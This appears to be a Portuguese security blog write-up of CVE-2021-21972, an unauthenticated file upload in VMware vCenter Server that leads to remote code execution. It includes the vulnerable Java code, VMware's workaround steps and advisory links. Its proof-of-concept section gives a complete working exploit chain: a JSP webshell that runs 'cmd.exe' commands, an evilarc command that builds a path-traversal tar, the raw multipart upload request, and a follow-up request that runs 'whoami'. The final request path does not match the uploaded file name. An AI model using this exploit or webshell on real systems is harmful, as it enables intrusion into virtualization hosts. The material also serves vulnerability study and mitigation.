
[CVE-2021-21972] VMware vSphere Client Unauthorized File Upload to Remote Code Execution (RCE)
[CVE-2021-21972] Upload de Arquivo Não Autorizado para Execução Remota de Código (RCE) no VMware vSphere Client
O vSphere Web Client (HTML5) é essencialmente uma interface administrativa que permite gerenciar uma instalação do vSphere. O vSphere Client fornece a um administrador acesso às principais funções do vSphere sem a necessidade de acessar um servidor vSphere diretamente. Ele permite que administradores criem novas máquinas virtuais e gerenciem as existentes e seus recursos. Como uma aplicação web multiplataforma, pode ser usado em todos os sistemas operacionais suportados através das versões suportadas de diferentes navegadores web.
O CVE-2021-21972 é uma vulnerabilidade de upload de arquivo não autorizado no vCenter Server que leva à execução remota de código no servidor remoto. O problema decorre da falta de autenticação no vRealize Operations vCenter Plugin. Recebeu uma pontuação crítica CVSSv3 de 9,8 em 10,0. Um atacante remoto não autenticado poderia explorar esta vulnerabilidade enviando um arquivo especialmente criado para um endpoint do vCenter Server vulnerável que seja publicamente acessível. As versões 6.5, 6.7 e 7.0 do VMware vCenter Server são afetadas por esta vulnerabilidade. A exploração bem-sucedida desta vulnerabilidade resultaria em um atacante obtendo privilégios irrestritos de execução remota de código (RCE) no sistema operacional subjacente do vCenter Server. Apesar do fato de esta vulnerabilidade decorrer do vRealize Operations vCenter Plugin, o aviso da VMware confirma que este plugin está incluído em todas as instalações padrão do vCenter Server. Isso significa que o endpoint vulnerável está disponível independentemente da presença do vRealize Operations.
No post original do blog aqui, a descoberta da vulnerabilidade é explicada o mais detalhadamente possível, bem como dois caminhos separados para alcançar RCE. Para sistemas Windows, um atacante poderia enviar um arquivo .jsp especialmente criado para obter privilégios NT AUTHORITY\SYSTEM no sistema operacional subjacente. Para sistemas Linux, um atacante precisaria gerar e enviar uma chave pública para o caminho authorized_keys do servidor e depois conectar-se ao servidor vulnerável via SSH para obter privilégios do usuário vsphere-ui. (se o serviço SSH estiver em execução e acessível pela rede)
vropsplugin-service.jar é um arquivo java do plugin vropspluginui e inclui algumas classes e outras funções e métodos relacionados. A parte vulnerável do código é ilustrada abaixo. Neste trecho de código pertence ao ServicesController.class no controlador do vropsplugin-service.jar. Como você pode ver no trecho de código abaixo, a função uploadOvaFile é responsável pelo endpoint/URL que /ui/vropspluginui/rest/services/uploadova
Caminho completo da classe vulnerável: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
try {
if (code != 200) {
response.sendError(code, "Arguments Missing");
return;
}
wr = response.getWriter();
} catch (IOException e) {
e.printStackTrace();
logger.info("upload Ova Controller Ended With Error");
}
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty())
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
for (String str : entries) {
File currentFile = new File(dir.getPath(), str);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
List<String> result = new ArrayList<String>();
while (entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
continue;
}
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists())
parent.mkdirs();
OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry.getName());
entry = in.getNextTarEntry();
}
in.close();
logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
} catch (Exception e) {
logger.error("Unable to upload OVA file :" + e);
returnStatus = "FAILED";
}
wr.write(returnStatus);
wr.flush();
wr.close();
}
Da perspectiva de um atacante, o manipulador desta classe está realizando as seguintes ações
uploadFile com uma requisição do método POST (linha 2)uploadFile e escrevendo o conteúdo deste parâmetro na variável inputStream (linha 22)/tmp/unicorn_ova_dir + entry.getName() (linhas 42 e 47)Prova de Conceito: Para explorar esta vulnerabilidade, você pode usar os seguintes passos
../..//statsreport/uploadedFileName.jspPara verificar a vulnerabilidade, você pode usar a seguinte requisição
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Se a resposta da requisição acima for semelhante às respostas abaixo, significa que o host remoto está vulnerável ao CVE-2021-21972
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous
{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}
Depois disso, precisamos criar um arquivo .tar manipulado. Para isso você pode usar o evilarc. Evilarc é um script básico em python que permite criar um arquivo zip contendo arquivos com caracteres de directory traversal em seu caminho incorporado.
Conteúdo do cmdjsp.jsp que é basicamente uma webshell
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Com o seguinte comando, o arquivo .tar manipulado será gerado.
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp
Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp
> cat winexpl3.tar
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
Em seguida, basta enviar o arquivo .tar para o servidor usando a seguinte requisição
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
A resposta da requisição acima é abaixo
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7
SUCCESS
Se o código de status da resposta da requisição acima for 200 OK e o corpo for SUCCESS, significa que o arquivo .tar foi enviado com sucesso para o caminho ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport. Devido ao fluxo da aplicação, o servidor extrairá o arquivo .tar no diretório /statsreport. Após esta etapa, tudo que você precisa fazer é a seguinte requisição GET para execução remota de código com privilégios NT AUTHORITY\SYSTEM.
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Solução de Contorno: A VMware corrigiu esta vulnerabilidade para as versões 7.0 U1c, 6.7 U3l e 6.5 U3n respectivamente. No entanto, se o patch não puder ser instalado, para implementar a solução de contorno para CVE-2021-21972 e CVE-2021-21973 em implantações do vCenter Server baseadas em Windows, execute os seguintes passos:
C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xmlcompatibility-matrix.xml em um editor de texto<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> dentro do elemento pluginsCompatibilityC:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
Administration > Solutions > client-pluginsPara implementar a solução de contorno para CVE-2021-21972 e CVE-2021-21973 em appliances virtuais baseados em Linux (vCSA), execute os seguintes passos:
/etc/vmware/vsphere-ui/compatibility-matrix.xmlcompatibility-matrix.xml em um editor de texto<PluginPackage id="com.vmware.vrops.install" status="incompatible"/> dentro do elemento pluginsCompatibility> service-control --stop vsphere-ui
> service-control --start vsphere-ui
Note que esta vulnerabilidade foi descoberta por Mikhail Klyuchnikov da Positive Technologies e o post original da pesquisa está disponível aqui
Para mais informações, visite as seguintes páginas.
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html